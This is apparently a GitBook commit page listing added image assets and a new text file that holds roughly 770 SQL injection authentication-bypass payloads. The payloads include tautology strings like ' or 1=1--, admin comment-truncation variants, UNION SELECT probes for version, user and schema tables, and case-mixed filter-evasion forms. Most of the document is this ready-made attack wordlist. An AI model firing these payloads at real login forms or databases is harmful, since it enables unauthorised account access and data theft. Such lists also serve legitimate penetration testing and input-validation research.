GitBook: [#3067] No subject
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 72 KiB |
After Width: | Height: | Size: 93 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 13 KiB |
BIN
.gitbook/assets/image (413) (3) (3) (3) (2) (2) (1) (1).png
Normal file
After Width: | Height: | Size: 766 KiB |
BIN
.gitbook/assets/image (413) (3) (3) (3) (2) (2) (1) (2).png
Normal file
After Width: | Height: | Size: 766 KiB |
After Width: | Height: | Size: 142 KiB |
After Width: | Height: | Size: 142 KiB |
After Width: | Height: | Size: 341 KiB |
After Width: | Height: | Size: 341 KiB |
After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 1.3 MiB |
After Width: | Height: | Size: 1.3 MiB |
After Width: | Height: | Size: 1.3 MiB |
After Width: | Height: | Size: 740 KiB |
BIN
.gitbook/assets/image (621) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 24 KiB |
BIN
.gitbook/assets/image (637) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 102 KiB |
Before Width: | Height: | Size: 102 KiB After Width: | Height: | Size: 73 KiB |
Before Width: | Height: | Size: 73 KiB After Width: | Height: | Size: 261 KiB |
BIN
.gitbook/assets/image (642) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 137 KiB |
BIN
.gitbook/assets/image (642) (1) (1) (1) (1) (2).png
Normal file
After Width: | Height: | Size: 137 KiB |
771
.gitbook/assets/sqli-authbypass-long (1) (1).txt
Normal file
|
@ -0,0 +1,771 @@
|
||||||
|
'-'
|
||||||
|
' '
|
||||||
|
'&'
|
||||||
|
'^'
|
||||||
|
'*'
|
||||||
|
' or ''-'
|
||||||
|
' or '' '
|
||||||
|
' or ''&'
|
||||||
|
' or ''^'
|
||||||
|
' or ''*'
|
||||||
|
"-"
|
||||||
|
" "
|
||||||
|
"&"
|
||||||
|
"^"
|
||||||
|
"*"
|
||||||
|
" or ""-"
|
||||||
|
" or "" "
|
||||||
|
" or ""&"
|
||||||
|
" or ""^"
|
||||||
|
" or ""*"
|
||||||
|
or true--
|
||||||
|
" or true--
|
||||||
|
' or true--
|
||||||
|
") or true--
|
||||||
|
') or true--
|
||||||
|
' or 'x'='x
|
||||||
|
') or ('x')=('x
|
||||||
|
')) or (('x'))=(('x
|
||||||
|
" or "x"="x
|
||||||
|
") or ("x")=("x
|
||||||
|
")) or (("x"))=(("x
|
||||||
|
or 1=1
|
||||||
|
or 1=1--
|
||||||
|
or 1=1#
|
||||||
|
or 1=1/*
|
||||||
|
admin' --
|
||||||
|
admin' #
|
||||||
|
admin'/*
|
||||||
|
admin' or '1'='1
|
||||||
|
admin' or '1'='1'--
|
||||||
|
admin' or '1'='1'#
|
||||||
|
admin' or '1'='1'/*
|
||||||
|
admin'or 1=1 or ''='
|
||||||
|
admin' or 1=1
|
||||||
|
admin' or 1=1--
|
||||||
|
admin' or 1=1#
|
||||||
|
admin' or 1=1/*
|
||||||
|
admin') or ('1'='1
|
||||||
|
admin') or ('1'='1'--
|
||||||
|
admin') or ('1'='1'#
|
||||||
|
admin') or ('1'='1'/*
|
||||||
|
admin') or '1'='1
|
||||||
|
admin') or '1'='1'--
|
||||||
|
admin') or '1'='1'#
|
||||||
|
admin') or '1'='1'/*
|
||||||
|
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||||
|
admin" --
|
||||||
|
admin" #
|
||||||
|
admin"/*
|
||||||
|
admin" or "1"="1
|
||||||
|
admin" or "1"="1"--
|
||||||
|
admin" or "1"="1"#
|
||||||
|
admin" or "1"="1"/*
|
||||||
|
admin"or 1=1 or ""="
|
||||||
|
admin" or 1=1
|
||||||
|
admin" or 1=1--
|
||||||
|
admin" or 1=1#
|
||||||
|
admin" or 1=1/*
|
||||||
|
admin") or ("1"="1
|
||||||
|
admin") or ("1"="1"--
|
||||||
|
admin") or ("1"="1"#
|
||||||
|
admin") or ("1"="1"/*
|
||||||
|
admin") or "1"="1
|
||||||
|
admin") or "1"="1"--
|
||||||
|
admin") or "1"="1"#
|
||||||
|
admin") or "1"="1"/*
|
||||||
|
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||||
|
==
|
||||||
|
=
|
||||||
|
'
|
||||||
|
' --
|
||||||
|
' #
|
||||||
|
' –
|
||||||
|
'--
|
||||||
|
'/*
|
||||||
|
'#
|
||||||
|
" --
|
||||||
|
" #
|
||||||
|
"/*
|
||||||
|
' and 1='1
|
||||||
|
' and a='a
|
||||||
|
or 1=1
|
||||||
|
or true
|
||||||
|
' or ''='
|
||||||
|
" or ""="
|
||||||
|
1′) and '1′='1–
|
||||||
|
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
|
||||||
|
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
|
||||||
|
and 1=1
|
||||||
|
and 1=1–
|
||||||
|
' and 'one'='one
|
||||||
|
' and 'one'='one–
|
||||||
|
' group by password having 1=1--
|
||||||
|
' group by userid having 1=1--
|
||||||
|
' group by username having 1=1--
|
||||||
|
like '%'
|
||||||
|
or 0=0 --
|
||||||
|
or 0=0 #
|
||||||
|
or 0=0 –
|
||||||
|
' or 0=0 #
|
||||||
|
' or 0=0 --
|
||||||
|
' or 0=0 #
|
||||||
|
' or 0=0 –
|
||||||
|
" or 0=0 --
|
||||||
|
" or 0=0 #
|
||||||
|
" or 0=0 –
|
||||||
|
%' or '0'='0
|
||||||
|
or 1=1
|
||||||
|
or 1=1--
|
||||||
|
or 1=1/*
|
||||||
|
or 1=1#
|
||||||
|
or 1=1–
|
||||||
|
' or 1=1--
|
||||||
|
' or '1'='1
|
||||||
|
' or '1'='1'--
|
||||||
|
' or '1'='1'/*
|
||||||
|
' or '1'='1'#
|
||||||
|
' or '1′='1
|
||||||
|
' or 1=1
|
||||||
|
' or 1=1 --
|
||||||
|
' or 1=1 –
|
||||||
|
' or 1=1--
|
||||||
|
' or 1=1;#
|
||||||
|
' or 1=1/*
|
||||||
|
' or 1=1#
|
||||||
|
' or 1=1–
|
||||||
|
') or '1'='1
|
||||||
|
') or '1'='1--
|
||||||
|
') or '1'='1'--
|
||||||
|
') or '1'='1'/*
|
||||||
|
') or '1'='1'#
|
||||||
|
') or ('1'='1
|
||||||
|
') or ('1'='1--
|
||||||
|
') or ('1'='1'--
|
||||||
|
') or ('1'='1'/*
|
||||||
|
') or ('1'='1'#
|
||||||
|
'or'1=1
|
||||||
|
'or'1=1′
|
||||||
|
" or "1"="1
|
||||||
|
" or "1"="1"--
|
||||||
|
" or "1"="1"/*
|
||||||
|
" or "1"="1"#
|
||||||
|
" or 1=1
|
||||||
|
" or 1=1 --
|
||||||
|
" or 1=1 –
|
||||||
|
" or 1=1--
|
||||||
|
" or 1=1/*
|
||||||
|
" or 1=1#
|
||||||
|
" or 1=1–
|
||||||
|
") or "1"="1
|
||||||
|
") or "1"="1"--
|
||||||
|
") or "1"="1"/*
|
||||||
|
") or "1"="1"#
|
||||||
|
") or ("1"="1
|
||||||
|
") or ("1"="1"--
|
||||||
|
") or ("1"="1"/*
|
||||||
|
") or ("1"="1"#
|
||||||
|
) or '1′='1–
|
||||||
|
) or ('1′='1–
|
||||||
|
' or 1=1 LIMIT 1;#
|
||||||
|
'or 1=1 or ''='
|
||||||
|
"or 1=1 or ""="
|
||||||
|
' or 'a'='a
|
||||||
|
' or a=a--
|
||||||
|
' or a=a–
|
||||||
|
') or ('a'='a
|
||||||
|
" or "a"="a
|
||||||
|
") or ("a"="a
|
||||||
|
') or ('a'='a and hi") or ("a"="a
|
||||||
|
' or 'one'='one
|
||||||
|
' or 'one'='one–
|
||||||
|
' or uid like '%
|
||||||
|
' or uname like '%
|
||||||
|
' or userid like '%
|
||||||
|
' or user like '%
|
||||||
|
' or username like '%
|
||||||
|
' or 'x'='x
|
||||||
|
') or ('x'='x
|
||||||
|
" or "x"="x
|
||||||
|
' OR 'x'='x'#;
|
||||||
|
'=' 'or' and '=' 'or'
|
||||||
|
' UNION ALL SELECT 1, @@version;#
|
||||||
|
' UNION ALL SELECT system_user(),user();#
|
||||||
|
' UNION select table_schema,table_name FROM information_Schema.tables;#
|
||||||
|
admin' and substring(password/text(),1,1)='7
|
||||||
|
' and substring(password/text(),1,1)='7
|
||||||
|
|
||||||
|
==
|
||||||
|
=
|
||||||
|
'
|
||||||
|
"
|
||||||
|
'-- 2
|
||||||
|
'/*
|
||||||
|
'#
|
||||||
|
"-- 2
|
||||||
|
" #
|
||||||
|
"/*
|
||||||
|
'-'
|
||||||
|
'&'
|
||||||
|
'^'
|
||||||
|
'*'
|
||||||
|
'='
|
||||||
|
0'<'2
|
||||||
|
"-"
|
||||||
|
"&"
|
||||||
|
"^"
|
||||||
|
"*"
|
||||||
|
"="
|
||||||
|
0"<"2
|
||||||
|
|
||||||
|
')
|
||||||
|
")
|
||||||
|
')-- 2
|
||||||
|
')/*
|
||||||
|
')#
|
||||||
|
")-- 2
|
||||||
|
") #
|
||||||
|
")/*
|
||||||
|
')-('
|
||||||
|
')&('
|
||||||
|
')^('
|
||||||
|
')*('
|
||||||
|
')=('
|
||||||
|
0')<('2
|
||||||
|
")-("
|
||||||
|
")&("
|
||||||
|
")^("
|
||||||
|
")*("
|
||||||
|
")=("
|
||||||
|
0")<("2
|
||||||
|
|
||||||
|
'-''-- 2
|
||||||
|
'-''#
|
||||||
|
'-''/*
|
||||||
|
'&''-- 2
|
||||||
|
'&''#
|
||||||
|
'&''/*
|
||||||
|
'^''-- 2
|
||||||
|
'^''#
|
||||||
|
'^''/*
|
||||||
|
'*''-- 2
|
||||||
|
'*''#
|
||||||
|
'*''/*
|
||||||
|
'=''-- 2
|
||||||
|
'=''#
|
||||||
|
'=''/*
|
||||||
|
0'<'2'-- 2
|
||||||
|
0'<'2'#
|
||||||
|
0'<'2'/*
|
||||||
|
"-""-- 2
|
||||||
|
"-""#
|
||||||
|
"-""/*
|
||||||
|
"&""-- 2
|
||||||
|
"&""#
|
||||||
|
"&""/*
|
||||||
|
"^""-- 2
|
||||||
|
"^""#
|
||||||
|
"^""/*
|
||||||
|
"*""-- 2
|
||||||
|
"*""#
|
||||||
|
"*""/*
|
||||||
|
"=""-- 2
|
||||||
|
"=""#
|
||||||
|
"=""/*
|
||||||
|
0"<"2"-- 2
|
||||||
|
0"<"2"#
|
||||||
|
0"<"2"/*
|
||||||
|
|
||||||
|
')-''-- 2
|
||||||
|
')-''#
|
||||||
|
')-''/*
|
||||||
|
')&''-- 2
|
||||||
|
')&''#
|
||||||
|
')&''/*
|
||||||
|
')^''-- 2
|
||||||
|
')^''#
|
||||||
|
')^''/*
|
||||||
|
')*''-- 2
|
||||||
|
')*''#
|
||||||
|
')*''/*
|
||||||
|
')=''-- 2
|
||||||
|
')=''#
|
||||||
|
')=''/*
|
||||||
|
0')<'2'-- 2
|
||||||
|
0')<'2'#
|
||||||
|
0')<'2'/*
|
||||||
|
")-""-- 2
|
||||||
|
")-""#
|
||||||
|
")-""/*
|
||||||
|
")&""-- 2
|
||||||
|
")&""#
|
||||||
|
")&""/*
|
||||||
|
")^""-- 2
|
||||||
|
")^""#
|
||||||
|
")^""/*
|
||||||
|
")*""-- 2
|
||||||
|
")*""#
|
||||||
|
")*""/*
|
||||||
|
")=""-- 2
|
||||||
|
")=""#
|
||||||
|
")=""/*
|
||||||
|
0")<"2-- 2
|
||||||
|
0")<"2#
|
||||||
|
0")<"2/*
|
||||||
|
|
||||||
|
|
||||||
|
'oR'2
|
||||||
|
'oR'2'-- 2
|
||||||
|
'oR'2'#
|
||||||
|
'oR'2'/*
|
||||||
|
'oR'2'oR'
|
||||||
|
'oR(2)-- 2
|
||||||
|
'oR(2)#
|
||||||
|
'oR(2)/*
|
||||||
|
'oR(2)oR'
|
||||||
|
'oR 2-- 2
|
||||||
|
'oR 2#
|
||||||
|
'oR 2/*
|
||||||
|
'oR 2 oR'
|
||||||
|
'oR/**/2-- 2
|
||||||
|
'oR/**/2#
|
||||||
|
'oR/**/2/*
|
||||||
|
'oR/**/2/**/oR'
|
||||||
|
"oR"2
|
||||||
|
"oR"2"-- 2
|
||||||
|
"oR"2"#
|
||||||
|
"oR"2"/*
|
||||||
|
"oR"2"oR"
|
||||||
|
"oR(2)-- 2
|
||||||
|
"oR(2)#
|
||||||
|
"oR(2)/*
|
||||||
|
"oR(2)oR"
|
||||||
|
"oR 2-- 2
|
||||||
|
"oR 2#
|
||||||
|
"oR 2/*
|
||||||
|
"oR 2 oR"
|
||||||
|
"oR/**/2-- 2
|
||||||
|
"oR/**/2#
|
||||||
|
"oR/**/2/*
|
||||||
|
"oR/**/2/**/oR"
|
||||||
|
|
||||||
|
'oR'2'='2
|
||||||
|
'oR'2'='2'oR'
|
||||||
|
'oR'2'='2'-- 2
|
||||||
|
'oR'2'='2'#
|
||||||
|
'oR'2'='2'/*
|
||||||
|
'oR'2'='2'oR'
|
||||||
|
'oR 2=2-- 2
|
||||||
|
'oR 2=2#
|
||||||
|
'oR 2=2/*
|
||||||
|
'oR 2=2 oR'
|
||||||
|
'oR/**/2=2-- 2
|
||||||
|
'oR/**/2=2#
|
||||||
|
'oR/**/2=2/*
|
||||||
|
'oR/**/2=2/**/oR'
|
||||||
|
'oR(2)=2-- 2
|
||||||
|
'oR(2)=2#
|
||||||
|
'oR(2)=2/*
|
||||||
|
'oR(2)=2/*
|
||||||
|
'oR(2)=(2)oR'
|
||||||
|
'oR'2'='2' LimIT 1-- 2
|
||||||
|
'oR'2'='2' LimIT 1#
|
||||||
|
'oR'2'='2' LimIT 1/*
|
||||||
|
'oR(2)=(2)LimIT(1)-- 2
|
||||||
|
'oR(2)=(2)LimIT(1)#
|
||||||
|
'oR(2)=(2)LimIT(1)/*
|
||||||
|
"oR"2"="2
|
||||||
|
"oR"2"="2"oR"
|
||||||
|
"oR"2"="2"-- 2
|
||||||
|
"oR"2"="2"#
|
||||||
|
"oR"2"="2"/*
|
||||||
|
"oR"2"="2"oR"
|
||||||
|
"oR 2=2-- 2
|
||||||
|
"oR 2=2#
|
||||||
|
"oR 2=2/*
|
||||||
|
"oR 2=2 oR"
|
||||||
|
"oR/**/2=2-- 2
|
||||||
|
"oR/**/2=2#
|
||||||
|
"oR/**/2=2/*
|
||||||
|
"oR/**/2=2/**/oR"
|
||||||
|
"oR(2)=2-- 2
|
||||||
|
"oR(2)=2#
|
||||||
|
"oR(2)=2/*
|
||||||
|
"oR(2)=2/*
|
||||||
|
"oR(2)=(2)oR"
|
||||||
|
"oR"2"="2" LimIT 1-- 2
|
||||||
|
"oR"2"="2" LimIT 1#
|
||||||
|
"oR"2"="2" LimIT 1/*
|
||||||
|
"oR(2)=(2)LimIT(1)-- 2
|
||||||
|
"oR(2)=(2)LimIT(1)#
|
||||||
|
"oR(2)=(2)LimIT(1)/*
|
||||||
|
|
||||||
|
'oR true-- 2
|
||||||
|
'oR true#
|
||||||
|
'oR true/*
|
||||||
|
'oR true oR'
|
||||||
|
'oR(true)-- 2
|
||||||
|
'oR(true)#
|
||||||
|
'oR(true)/*
|
||||||
|
'oR(true)oR'
|
||||||
|
'oR/**/true-- 2
|
||||||
|
'oR/**/true#
|
||||||
|
'oR/**/true/*
|
||||||
|
'oR/**/true/**/oR'
|
||||||
|
"oR true-- 2
|
||||||
|
"oR true#
|
||||||
|
"oR true/*
|
||||||
|
"oR true oR"
|
||||||
|
"oR(true)-- 2
|
||||||
|
"oR(true)#
|
||||||
|
"oR(true)/*
|
||||||
|
"oR(true)oR"
|
||||||
|
"oR/**/true-- 2
|
||||||
|
"oR/**/true#
|
||||||
|
"oR/**/true/*
|
||||||
|
"oR/**/true/**/oR"
|
||||||
|
|
||||||
|
'oR'2'LiKE'2
|
||||||
|
'oR'2'LiKE'2'-- 2
|
||||||
|
'oR'2'LiKE'2'#
|
||||||
|
'oR'2'LiKE'2'/*
|
||||||
|
'oR'2'LiKE'2'oR'
|
||||||
|
'oR(2)LiKE(2)-- 2
|
||||||
|
'oR(2)LiKE(2)#
|
||||||
|
'oR(2)LiKE(2)/*
|
||||||
|
'oR(2)LiKE(2)oR'
|
||||||
|
"oR"2"LiKE"2
|
||||||
|
"oR"2"LiKE"2"-- 2
|
||||||
|
"oR"2"LiKE"2"#
|
||||||
|
"oR"2"LiKE"2"/*
|
||||||
|
"oR"2"LiKE"2"oR"
|
||||||
|
"oR(2)LiKE(2)-- 2
|
||||||
|
"oR(2)LiKE(2)#
|
||||||
|
"oR(2)LiKE(2)/*
|
||||||
|
"oR(2)LiKE(2)oR"
|
||||||
|
|
||||||
|
admin
|
||||||
|
admin'-- 2
|
||||||
|
admin'#
|
||||||
|
admin'/*
|
||||||
|
admin"-- 2
|
||||||
|
admin"#
|
||||||
|
ffifdyop
|
||||||
|
|
||||||
|
' UniON SElecT 1,2-- 2
|
||||||
|
' UniON SElecT 1,2,3-- 2
|
||||||
|
' UniON SElecT 1,2,3,4-- 2
|
||||||
|
' UniON SElecT 1,2,3,4,5-- 2
|
||||||
|
' UniON SElecT 1,2#
|
||||||
|
' UniON SElecT 1,2,3#
|
||||||
|
' UniON SElecT 1,2,3,4#
|
||||||
|
' UniON SElecT 1,2,3,4,5#
|
||||||
|
'UniON(SElecT(1),2)-- 2
|
||||||
|
'UniON(SElecT(1),2,3)-- 2
|
||||||
|
'UniON(SElecT(1),2,3,4)-- 2
|
||||||
|
'UniON(SElecT(1),2,3,4,5)-- 2
|
||||||
|
'UniON(SElecT(1),2)#
|
||||||
|
'UniON(SElecT(1),2,3)#
|
||||||
|
'UniON(SElecT(1),2,3,4)#
|
||||||
|
'UniON(SElecT(1),2,3,4,5)#
|
||||||
|
" UniON SElecT 1,2-- 2
|
||||||
|
" UniON SElecT 1,2,3-- 2
|
||||||
|
" UniON SElecT 1,2,3,4-- 2
|
||||||
|
" UniON SElecT 1,2,3,4,5-- 2
|
||||||
|
" UniON SElecT 1,2#
|
||||||
|
" UniON SElecT 1,2,3#
|
||||||
|
" UniON SElecT 1,2,3,4#
|
||||||
|
" UniON SElecT 1,2,3,4,5#
|
||||||
|
"UniON(SElecT(1),2)-- 2
|
||||||
|
"UniON(SElecT(1),2,3)-- 2
|
||||||
|
"UniON(SElecT(1),2,3,4)-- 2
|
||||||
|
"UniON(SElecT(1),2,3,4,5)-- 2
|
||||||
|
"UniON(SElecT(1),2)#
|
||||||
|
"UniON(SElecT(1),2,3)#
|
||||||
|
"UniON(SElecT(1),2,3,4)#
|
||||||
|
"UniON(SElecT(1),2,3,4,5)#
|
||||||
|
|
||||||
|
'||'2
|
||||||
|
'||2-- 2
|
||||||
|
'||'2'||'
|
||||||
|
'||2#
|
||||||
|
'||2/*
|
||||||
|
'||2||'
|
||||||
|
"||"2
|
||||||
|
"||2-- 2
|
||||||
|
"||"2"||"
|
||||||
|
"||2#
|
||||||
|
"||2/*
|
||||||
|
"||2||"
|
||||||
|
'||'2'='2
|
||||||
|
'||'2'='2'||'
|
||||||
|
'||2=2-- 2
|
||||||
|
'||2=2#
|
||||||
|
'||2=2/*
|
||||||
|
'||2=2||'
|
||||||
|
"||"2"="2
|
||||||
|
"||"2"="2"||"
|
||||||
|
"||2=2-- 2
|
||||||
|
"||2=2#
|
||||||
|
"||2=2/*
|
||||||
|
"||2=2||"
|
||||||
|
'||2=(2)LimIT(1)-- 2
|
||||||
|
'||2=(2)LimIT(1)#
|
||||||
|
'||2=(2)LimIT(1)/*
|
||||||
|
"||2=(2)LimIT(1)-- 2
|
||||||
|
"||2=(2)LimIT(1)#
|
||||||
|
"||2=(2)LimIT(1)/*
|
||||||
|
'||true-- 2
|
||||||
|
'||true#
|
||||||
|
'||true/*
|
||||||
|
'||true||'
|
||||||
|
"||true-- 2
|
||||||
|
"||true#
|
||||||
|
"||true/*
|
||||||
|
"||true||"
|
||||||
|
'||'2'LiKE'2
|
||||||
|
'||'2'LiKE'2'-- 2
|
||||||
|
'||'2'LiKE'2'#
|
||||||
|
'||'2'LiKE'2'/*
|
||||||
|
'||'2'LiKE'2'||'
|
||||||
|
'||(2)LiKE(2)-- 2
|
||||||
|
'||(2)LiKE(2)#
|
||||||
|
'||(2)LiKE(2)/*
|
||||||
|
'||(2)LiKE(2)||'
|
||||||
|
"||"2"LiKE"2
|
||||||
|
"||"2"LiKE"2"-- 2
|
||||||
|
"||"2"LiKE"2"#
|
||||||
|
"||"2"LiKE"2"/*
|
||||||
|
"||"2"LiKE"2"||"
|
||||||
|
"||(2)LiKE(2)-- 2
|
||||||
|
"||(2)LiKE(2)#
|
||||||
|
"||(2)LiKE(2)/*
|
||||||
|
"||(2)LiKE(2)||"
|
||||||
|
|
||||||
|
')oR('2
|
||||||
|
')oR'2'-- 2
|
||||||
|
')oR'2'#
|
||||||
|
')oR'2'/*
|
||||||
|
')oR'2'oR('
|
||||||
|
')oR(2)-- 2
|
||||||
|
')oR(2)#
|
||||||
|
')oR(2)/*
|
||||||
|
')oR(2)oR('
|
||||||
|
')oR 2-- 2
|
||||||
|
')oR 2#
|
||||||
|
')oR 2/*
|
||||||
|
')oR 2 oR('
|
||||||
|
')oR/**/2-- 2
|
||||||
|
')oR/**/2#
|
||||||
|
')oR/**/2/*
|
||||||
|
')oR/**/2/**/oR('
|
||||||
|
")oR("2
|
||||||
|
")oR"2"-- 2
|
||||||
|
")oR"2"#
|
||||||
|
")oR"2"/*
|
||||||
|
")oR"2"oR("
|
||||||
|
")oR(2)-- 2
|
||||||
|
")oR(2)#
|
||||||
|
")oR(2)/*
|
||||||
|
")oR(2)oR("
|
||||||
|
")oR 2-- 2
|
||||||
|
")oR 2#
|
||||||
|
")oR 2/*
|
||||||
|
")oR 2 oR("
|
||||||
|
")oR/**/2-- 2
|
||||||
|
")oR/**/2#
|
||||||
|
")oR/**/2/*
|
||||||
|
")oR/**/2/**/oR("
|
||||||
|
')oR'2'=('2
|
||||||
|
')oR'2'='2'oR('
|
||||||
|
')oR'2'='2'-- 2
|
||||||
|
')oR'2'='2'#
|
||||||
|
')oR'2'='2'/*
|
||||||
|
')oR'2'='2'oR('
|
||||||
|
')oR 2=2-- 2
|
||||||
|
')oR 2=2#
|
||||||
|
')oR 2=2/*
|
||||||
|
')oR 2=2 oR('
|
||||||
|
')oR/**/2=2-- 2
|
||||||
|
')oR/**/2=2#
|
||||||
|
')oR/**/2=2/*
|
||||||
|
')oR/**/2=2/**/oR('
|
||||||
|
')oR(2)=2-- 2
|
||||||
|
')oR(2)=2#
|
||||||
|
')oR(2)=2/*
|
||||||
|
')oR(2)=2/*
|
||||||
|
')oR(2)=(2)oR('
|
||||||
|
')oR'2'='2' LimIT 1-- 2
|
||||||
|
')oR'2'='2' LimIT 1#
|
||||||
|
')oR'2'='2' LimIT 1/*
|
||||||
|
')oR(2)=(2)LimIT(1)-- 2
|
||||||
|
')oR(2)=(2)LimIT(1)#
|
||||||
|
')oR(2)=(2)LimIT(1)/*
|
||||||
|
")oR"2"=("2
|
||||||
|
")oR"2"="2"oR("
|
||||||
|
")oR"2"="2"-- 2
|
||||||
|
")oR"2"="2"#
|
||||||
|
")oR"2"="2"/*
|
||||||
|
")oR"2"="2"oR("
|
||||||
|
")oR 2=2-- 2
|
||||||
|
")oR 2=2#
|
||||||
|
")oR 2=2/*
|
||||||
|
")oR 2=2 oR("
|
||||||
|
")oR/**/2=2-- 2
|
||||||
|
")oR/**/2=2#
|
||||||
|
")oR/**/2=2/*
|
||||||
|
")oR/**/2=2/**/oR("
|
||||||
|
")oR(2)=2-- 2
|
||||||
|
")oR(2)=2#
|
||||||
|
")oR(2)=2/*
|
||||||
|
")oR(2)=2/*
|
||||||
|
")oR(2)=(2)oR("
|
||||||
|
")oR"2"="2" LimIT 1-- 2
|
||||||
|
")oR"2"="2" LimIT 1#
|
||||||
|
")oR"2"="2" LimIT 1/*
|
||||||
|
")oR(2)=(2)LimIT(1)-- 2
|
||||||
|
")oR(2)=(2)LimIT(1)#
|
||||||
|
")oR(2)=(2)LimIT(1)/*
|
||||||
|
')oR true-- 2
|
||||||
|
')oR true#
|
||||||
|
')oR true/*
|
||||||
|
')oR true oR('
|
||||||
|
')oR(true)-- 2
|
||||||
|
')oR(true)#
|
||||||
|
')oR(true)/*
|
||||||
|
')oR(true)oR('
|
||||||
|
')oR/**/true-- 2
|
||||||
|
')oR/**/true#
|
||||||
|
')oR/**/true/*
|
||||||
|
')oR/**/true/**/oR('
|
||||||
|
")oR true-- 2
|
||||||
|
")oR true#
|
||||||
|
")oR true/*
|
||||||
|
")oR true oR("
|
||||||
|
")oR(true)-- 2
|
||||||
|
")oR(true)#
|
||||||
|
")oR(true)/*
|
||||||
|
")oR(true)oR("
|
||||||
|
")oR/**/true-- 2
|
||||||
|
")oR/**/true#
|
||||||
|
")oR/**/true/*
|
||||||
|
")oR/**/true/**/oR("
|
||||||
|
')oR'2'LiKE('2
|
||||||
|
')oR'2'LiKE'2'-- 2
|
||||||
|
')oR'2'LiKE'2'#
|
||||||
|
')oR'2'LiKE'2'/*
|
||||||
|
')oR'2'LiKE'2'oR('
|
||||||
|
')oR(2)LiKE(2)-- 2
|
||||||
|
')oR(2)LiKE(2)#
|
||||||
|
')oR(2)LiKE(2)/*
|
||||||
|
')oR(2)LiKE(2)oR('
|
||||||
|
")oR"2"LiKE("2
|
||||||
|
")oR"2"LiKE"2"-- 2
|
||||||
|
")oR"2"LiKE"2"#
|
||||||
|
")oR"2"LiKE"2"/*
|
||||||
|
")oR"2"LiKE"2"oR("
|
||||||
|
")oR(2)LiKE(2)-- 2
|
||||||
|
")oR(2)LiKE(2)#
|
||||||
|
")oR(2)LiKE(2)/*
|
||||||
|
")oR(2)LiKE(2)oR("
|
||||||
|
admin')-- 2
|
||||||
|
admin')#
|
||||||
|
admin')/*
|
||||||
|
admin")-- 2
|
||||||
|
admin")#
|
||||||
|
') UniON SElecT 1,2-- 2
|
||||||
|
') UniON SElecT 1,2,3-- 2
|
||||||
|
') UniON SElecT 1,2,3,4-- 2
|
||||||
|
') UniON SElecT 1,2,3,4,5-- 2
|
||||||
|
') UniON SElecT 1,2#
|
||||||
|
') UniON SElecT 1,2,3#
|
||||||
|
') UniON SElecT 1,2,3,4#
|
||||||
|
') UniON SElecT 1,2,3,4,5#
|
||||||
|
')UniON(SElecT(1),2)-- 2
|
||||||
|
')UniON(SElecT(1),2,3)-- 2
|
||||||
|
')UniON(SElecT(1),2,3,4)-- 2
|
||||||
|
')UniON(SElecT(1),2,3,4,5)-- 2
|
||||||
|
')UniON(SElecT(1),2)#
|
||||||
|
')UniON(SElecT(1),2,3)#
|
||||||
|
')UniON(SElecT(1),2,3,4)#
|
||||||
|
')UniON(SElecT(1),2,3,4,5)#
|
||||||
|
") UniON SElecT 1,2-- 2
|
||||||
|
") UniON SElecT 1,2,3-- 2
|
||||||
|
") UniON SElecT 1,2,3,4-- 2
|
||||||
|
") UniON SElecT 1,2,3,4,5-- 2
|
||||||
|
") UniON SElecT 1,2#
|
||||||
|
") UniON SElecT 1,2,3#
|
||||||
|
") UniON SElecT 1,2,3,4#
|
||||||
|
") UniON SElecT 1,2,3,4,5#
|
||||||
|
")UniON(SElecT(1),2)-- 2
|
||||||
|
")UniON(SElecT(1),2,3)-- 2
|
||||||
|
")UniON(SElecT(1),2,3,4)-- 2
|
||||||
|
")UniON(SElecT(1),2,3,4,5)-- 2
|
||||||
|
")UniON(SElecT(1),2)#
|
||||||
|
")UniON(SElecT(1),2,3)#
|
||||||
|
")UniON(SElecT(1),2,3,4)#
|
||||||
|
")UniON(SElecT(1),2,3,4,5)#
|
||||||
|
')||('2
|
||||||
|
')||2-- 2
|
||||||
|
')||'2'||('
|
||||||
|
')||2#
|
||||||
|
')||2/*
|
||||||
|
')||2||('
|
||||||
|
")||("2
|
||||||
|
")||2-- 2
|
||||||
|
")||"2"||("
|
||||||
|
")||2#
|
||||||
|
")||2/*
|
||||||
|
")||2||("
|
||||||
|
')||'2'=('2
|
||||||
|
')||'2'='2'||('
|
||||||
|
')||2=2-- 2
|
||||||
|
')||2=2#
|
||||||
|
')||2=2/*
|
||||||
|
')||2=2||('
|
||||||
|
")||"2"=("2
|
||||||
|
")||"2"="2"||("
|
||||||
|
")||2=2-- 2
|
||||||
|
")||2=2#
|
||||||
|
")||2=2/*
|
||||||
|
")||2=2||("
|
||||||
|
')||2=(2)LimIT(1)-- 2
|
||||||
|
')||2=(2)LimIT(1)#
|
||||||
|
')||2=(2)LimIT(1)/*
|
||||||
|
")||2=(2)LimIT(1)-- 2
|
||||||
|
")||2=(2)LimIT(1)#
|
||||||
|
")||2=(2)LimIT(1)/*
|
||||||
|
')||true-- 2
|
||||||
|
')||true#
|
||||||
|
')||true/*
|
||||||
|
')||true||('
|
||||||
|
")||true-- 2
|
||||||
|
")||true#
|
||||||
|
")||true/*
|
||||||
|
